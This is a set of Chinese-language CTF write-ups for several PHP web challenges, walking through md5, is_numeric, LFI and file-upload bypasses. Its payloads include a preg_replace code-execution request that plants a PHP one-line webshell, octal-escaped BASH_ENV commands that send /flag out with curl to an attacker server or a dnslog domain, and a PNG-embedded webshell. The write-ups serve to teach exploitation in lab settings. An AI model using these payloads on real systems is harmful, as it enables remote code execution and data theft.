[MRCTF2020]Ez_bypass
PHP Version: 5.6.40
知识点
- md5 碰撞 / md5 数组绕过
- 添加非数字字符绕过 is_numeric
代码
<?php include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }
做题
这些知识点在 CTFShow 上都运用过,第一步 md5 绕过,GET的参数可以有几种方式,具体方式可以查看参考资料 1
第二步考察对 is_numeric 的绕过。在之前提到过,
233 == 233fuck
是成立的,所以我们只需要在 1234567 后面随便加点东西就行了。payload
curl --location -g --request POST 'http://2853edc3-4999-4589-931e-8006e74614d2.node4.buuoj.cn:81/?gg[]=1&id[]=2' \ --form 'passwd="1234567+"'
参考资料
[BJDCTF2020]ZJCTF,不过如此
PHP Version: 5.6.40
知识点
- php://input 传入
- php 伪协议 php://filter
代码
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
做题
第一个 $text 的部分比较好解决,传入
text =
file://input
然后传入post参数 I have a dream 即可第二个提示了 next.php,我们尝试直接引入

似乎对题目没有什么帮助,我们直接写入 http:// 尝试引入外部链接也无效。
我们尝试使用 php 伪协议来读取其中有什么内容
payload:
curl --location --request POST 'http://d73d0f70-38d4-4f50-8e93-24f9cf240dbb.node4.buuoj.cn:81/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php' \ --data-raw 'I have a dream'
解码后读到 next.php 的代码为
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
我原本以为可以用 $_SESSION['id'] 反序列化来请求 getFlag() ,想了想不对啊,也不是这么个事,参考了辅导书以后,发现可以使用preg_replace进行代码执行,原理是第二个参数可以当作代码来执行,preg_replace会把匹配到的字符传入第二个函数。
我们先来看看这段foreach的代码会发生什么

简而言之,左边的key变成了$re,value变成了$str。那么这个怎么利用呢,然后我又参考了参考资料2
简单来说,要传入左边 $re 使value被匹配到,并且被执行,就完成了任务。那么怎么传入自己的命令呢?然后我又参考了参考资料3
怎么在变量中执行代码,我们可以用这一行来试一下
$b = "{${phpinfo()}}";


可以看到,phpinfo() 被成功的执行。
当然,我们自己尝试传上去的参数是不会被执行的,不然这还得了。
懂得花括号内命令执行的原理,我们就可以尝试构造一个shell了。比如说,我们就直接调用题目中给的 getFlag();,也就是
{${getFlag()}}
下一步就是正则匹配了,为了匹配全部我们可以用 .*,但其实没有必要,我们直接用和value一样的
{${getFlag()}}
就可以了,$和()用 \ 来转义一下。最后一句话木马搞定,拿蚁剑连接即可,flag 在根目录下。
payload:
curl --location -g --request POST 'http://d73d0f70-38d4-4f50-8e93-24f9cf240dbb.node4.buuoj.cn:81/?text=php://input&file=next.php&.*={${phpinfo()}}&{\${getFlag\(\)}}={${getFlag()}}&cmd=file_put_contents('\''1.php'\'', '\''<?php eval($_POST[0]);'\'');' \ --data-raw 'I have a dream'
参考资料
[LineCTF2022]BB 1
代码
<?php error_reporting(0); function bye($s, $ptn){ if(preg_match($ptn, $s)){ return false; } return true; } foreach($_GET["env"] as $k=>$v){ if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) { putenv("{$k}={$v}"); } } system("bash -c 'imdude'"); foreach($_GET["env"] as $k=>$v){ if(bye($k, "/=/i")) { putenv("{$k}"); } } highlight_file(__FILE__); ?>
思路
知识点:
- 环境变量设置
- 参数提交数组
- 利用 BASH_ENV 进行渗透(hint: bash -c)
利用 alias 设置命令
- bash 八进制转义
- curl弹shell
错误思路
一开始的思路是,bash -c ‘imdude’,所以我要找imdude所在目录,所以我要通过环境变量设置。显然我们并不知道imdude在哪里有,我们也不知道在哪里能写入它。
第二步的思路是,因为它拦截了等号,也在第二个参数拦截了字母,所以在第一个参数想着绕过putenv,比如在后面插等号什么的
第三步的思路是,用BASH_ENV是可以插通配符的,所以直接插 /* 就完事了
正确思路
看到 bash -c ,立刻想到有 BASH_ENV 。利用在bash -c前均会执行 BASH_ENV 内的文件内容的性质,拿到flag(一般来说这个默认是 /etc/profile)。
看到 preg,应该想到怎么绕过,使用 bash 转义字符,将它们全部转为八进制的 \xxx 这样形式的字符。
然后还要注意分开空格这类字符,避免被当成完整的路径
做题
先想办法使env参数可以传入为 kv 的形式,这里需要在get参数传入字符串
将env[x]参数设置为xxx的方式,即可使 $k=x, $v=xxx
然后因为下面是BASH_ENV,所以我们要设置的就是BASH_ENV,并且因为正则表达式的原因,我们还不能在这里传入带字母的(包括大小写,那怎么办呢)
踩坑1-转义带空格
使用BASH的转义就好了。
比如需要将 /flag 转义成 bash 能读懂的八进制,那就运行下面的函数
echo -n "/flag" | while IFS= read -r -n1 c; do printf '\\%03o' "'$c"; done
它会输出 \057\146\154\141\147, 拼接一下 $’’ 使其成为 echo $’\057\146\154\141\147’ ,它就可以输出 /flag
但是这里有个坑点,如果你把空格也包进去了,根据bash的特性,它会将引号内的内容看作是一个完整的程序(?),这也容易理解,比如如果你的路径带空格的话,可以使用类似 “/Users/Guo guo/Downloads” 来获得你的完整路径,但是bash又不知道你想执行的到底是 /User/Guo 还是 /Users/Guo guo/Downloads,既然这里没有限制空格,我们就可以把它分开。
踩坑2-目录不可写
下载 Dockerfile 后,发现flag藏在 /flag ,我的想法是将 /flag 直接cp到 /var/www/html 不就好了嘛~
于是逐个写下命令,最终的命令是
$($'\143\160' $'\057\146\154\141\147' $'\057\166\141\162\057\167\167\167\057\150\164\155\154\057\146\154\141\147')
然后丢上去执行,发现,诶我草,404
同时也尝试了 rm index.php 也不行,于是考虑到,可能是权限问题。
最终出路-方法1-curl将flag弹到自己服务器
最终研究Dockerfile的时候,发现上面有一个 apt install curl,这一定是作者给我们留下的提示嘻嘻嘻
于是找一台服务器 nc -lvvp 2334 走起,直接将flag弹到自己的服务器上,这里使用 curl xxx/$(cat /flag)的方法,最终拿到了flag
先起一台服务器,假设服务器域名/IP是xxx.com
$($'\143\165\162\154' $'\150\164\164\160\072\057\057\170\170\170\056\143\157\155\072\062\063\063\064'/$($'\143\141\164' $'\057\146\154\141\147')
(这个命令的意思是 curl http://xxx.com:2334/$(cat /flag),所以这样就可以接到flag啦)
最终接受到的请求是这样的
Listening on any address 2334 (norton-lambert) Connection from 117.21.200.166:12592 GET //flagfeff6be8-9b7e-4905-bc84-11d3458b0888 HTTP/1.1 Host: xxx.com:2334 User-Agent: curl/7.68.0 Accept: */*
好咧,{}因为没转义的原因被bash吃掉了,自己拼装一下,提交,flag正确~
最终出路-方法2-使用dnslog
原理和上面的一样,只不过不需要自己的服务器了。
去dnslog.cn领一个域名,然后用 curl $(cat /flag).xxxxxx.dnslog.cn 的方法拿到
这里给出一个示例
$($'\143\165\162\154' $($'\143\141\164' $'\057\146\154\141\147').$'\067\157\156\150\166\152\056\144\156\163\154\157\147\056\143\156')

参考资料
Phuck2(未完成)
服务器信息:无
源码
<?php stream_wrapper_unregister('php'); // 禁止使用 php:// if(isset($_GET['hl'])) highlight_file(__FILE__); $mkdir = function($dir) { system('mkdir -- '.escapeshellarg($dir)); // escapeshellarg 把字符串转义为可以在 shell 命令里使用的参数 }; $randFolder = bin2hex(random_bytes(16)); // 随机十六进制 $mkdir('users/'.$randFolder); // 创建文件夹 chdir('users/'.$randFolder); // 切换文件夹 $userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']); // 根据头切换IP $userFolder = basename(str_replace(['.','-'],['',''],$userFolder)); // 可自定义文件夹 $mkdir($userFolder); // 创建文件夹 chdir($userFolder); // 切换 file_put_contents('profile',print_r($_SERVER,true)); // 将配置信息放到 profile chdir('..'); // 上级目录 $_GET['page']=str_replace('.','',$_GET['page']); // 将所有点去掉 if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) { // 在文件不包含 <? 和php的时候 include($_GET['page']); // 引用文件,data://失败,远程资源失败 } chdir(__DIR__); // 切换目录 system('rm -rf users/'.$randFolder); // 删除目录 ?>
思路
- dirsearch,发现一个 users/ 目录,有一个列目录,但好像没什么软用
- 也没有暴露其他服务器信息,整得我一头雾水
- (writeup1)escapeshellarg 能否绕过?
- (writeup1)profile 能否在下面重新引用?
- (writeup2)怎么实现file_get_contents的内容和include的内容不一样?
知识点
- allow_url_include=Off 时,file_get_contents 在处理 data:xxx 时会取xxx这个字符串,include则会读文件名为data:xxx的文件
可控参数
- $_SERVER['HTTP_X_FORWARDED_FOR']
- $_GET['page']
做题
既然没有任何信息,那我就……
开摆,看writeup。。(第一次查看Writeup)
不是,这题不看writeup做个锤子噢,dirsearch扫半天就扫到一个 users/ ,还有知道是个php,搞得我半天都在这里对着这个 index.php 输出
可以看到,这里在第一行禁止了 php 流,就防止了使用 php://input 这种路径。同时,定义了 $mkdir 函数,但是有一个 escapeshellarg,使其怎样都会被转义成一个参数,没办法使用’;之类的方式逃脱。
所以重点就来到了这个 file_put_contents 头上,这个一定是个重要角色,同时是重要角色的还有下面的include,但是有一个 file_get_contents 过滤,怎么办呢?
第一个思路就是使用 data:// ,其实一开始我也想到了hhh,但是比较难绷的是我没想到include可以利用data流直接include文件,所以第一个思路很快就被我排除了
第二个思路就是使用外部连接,我可以使前两次返回的内容不包含 <? 和 php,而到最后一次我再返回一个shell。想法很美好,但是……它不出网(
已知可控参数必然有重要作用,我们也要include到这个文件,还要躲避 file_get_contents 的追捕。直接include profile不行,因为其中必然会有一个 [SCRIPT_NAME] => /index.php 拦掉。
没头绪了,好怪哦,再看看(第二次查看Writeup)
然后才知道知识点1
但是在自己的服务器上跑不动,不知道为啥,测试代码如下
<?php echo file_get_contents("data:echo/profile"); include("data:echo/profile");
偷看Writeup
- 开始做题没有任何思路,所以偷看writeup,发现大家都知道怎么拿到源码了,这个不看writeup怎么想??在url后面追加一个 ?hl 就可以看到源码了
参考资料
[CISCN2021 Quals]upload1(未完成)
代码
// index.php <?php if (!isset($_GET["ctf"])) { highlight_file(__FILE__); die(); } if(isset($_GET["ctf"])) $ctf = $_GET["ctf"]; if($ctf=="upload") { if ($_FILES['postedFile']['size'] > 1024*512) { die("这么大个的东西你是想d我吗?"); } $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']); if ($imageinfo === FALSE) { // 要让 die("如果不能好好传图片的话就还是不要来打扰我了"); } if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) { // 要求图片长宽比为1x1 die("东西不能方方正正的话就很讨厌"); } $fileName=urldecode($_FILES['postedFile']['name']); if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) { die("有些东西让你传上去的话那可不得了"); } $imagePath = "image/" . mb_strtolower($fileName); if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) { echo "upload success, image at $imagePath"; } else { die("传都没有传上去"); } }
// example.php <?php if (!isset($_GET["ctf"])) { highlight_file(__FILE__); die(); } if(isset($_GET["ctf"])) $ctf = $_GET["ctf"]; if($ctf=="poc") { $zip = new \ZipArchive(); $name_for_zip = "example/" . $_POST["file"]; if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") { die("要不咱们再看看?"); } if ($zip->open($name_for_zip) !== TRUE) { die ("都不能解压呢"); } echo "可以解压,我想想存哪里"; $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]); $zip->extractTo($pos_for_zip); $zip->close(); unlink($name_for_zip); $files = glob("$pos_for_zip/*"); foreach($files as $file){ if (is_dir($file)) { continue; } $first = imagecreatefrompng($file); $size = min(imagesx($first), imagesy($first)); $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]); if ($second !== FALSE) { $final_name = pathinfo($file)["basename"]; imagepng($second, 'example/'.$final_name); imagedestroy($second); } imagedestroy($first); unlink($file); } }
要点
- 包含PHP的img图片
- 通过Python脚本创建(但原理是啥)
- 图片长宽要均1
- 通过define设置width和length来绕过
- 设置get参数ctf为upload,同时将文件放到postedFile上
- 文件名不能包含c,i,h,ph
- 用土耳其字母 İ 绕过i的判断
- 如果php有其他字母能实现也行,可惜没找到
思路
- stristr绕过(通过回车符%0a绕过),但是无法绕过单字母
卡死点
- 不知道 example.php 的存在
- 解决方法:开扫描(?)
- 遇到上传文件时验证图片的不知道怎么办
- 不知道怎么绕过png二次渲染保存php文件
- PNG-IDAT-Payload-Generator 的原理到底是什么????
- 遇到字母匹配的时候不知道怎么办
- 不知道土耳其字母 İ 的存在(İ在经过 mb_strtolower 后会变成i)
过程
在了解到了example.php和index.php这两个文件后,首先的突破口应该是index.php,因为example只能用来获取本地的文件,还得是zip格式的文件用于解压缩,所以首先得将压缩了php木马的文件绕过像素检查,然后使压缩包能够上传,还得将解压后的php文件伪装成图片突破二次渲染。
然后这个 PNG-IDAT-Payload-Generator 对我来说暂时就是黑盒了,在我还没深究的时候,我还没理解这里的思路,为什么payload要用那串东西,啊点一下它就完成了?我干了啥.jpg?但是我们可以通过查看其代码(参考文档3)来了解其原理。
根据index.php的条件,首先有四个要素,就是文件不能太大、文件必须让PHP的getimagesize获得长宽比信息、文件名不能包含c/i/h (大小写都不行),同时上传的文件会被放在 image 文件夹
然后执行
(venv) root@Guoguo-Room-PC /m/c/U/G/D/P/G/PNG-IDAT-Payload-Generator (master) [0|2]# python3 generate.py -m php -o shell.png [+] PHP Method Selected. Using 'idontplaywithdarts' payload [-] Payload String: b'<?=$_GET[0]($_POST[1]);?>' [-] Payload: b'a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310' [-] Generated Image shell.png [-] Verifying payload [-] Payload OK [+] Fin (venv) root@Guoguo-Room-PC /m/c/U/G/D/P/G/PNG-IDAT-Payload-Generator (master)#

然后将文件名重命名为1.php并打包,然后在zip注释加入
#define width 1 #define height 1
C:\Users\Guoguo\Documents\Program\Git\PNG-IDAT-Payload-Generator>copy shell.zip/b+a.txt/a sb.zip shell.zip a.txt 已复制 1 个文件。
简单隐写合并(不合并也行,直接在post的时候修改下面的内容)

在提交时,将i改为%c4%b0,注意提交方式为post,然后发现文件被放在了 image/sb.zip
再根据 example.php 的内容,提交参数ctf为poc,file为../image/sb.zip (因为它在example目录,要上一级解压)

解压后的文件在 example/shell.php,传入,找到文件在 /etc/fllagggaaaa/ejklwfthreu8rt/fgrtgergyer/ergerhrtytrh/rtehtrhytryhre/gfhtryrtgrewfre34t/t43ft34f/flag11e3kerjh3u
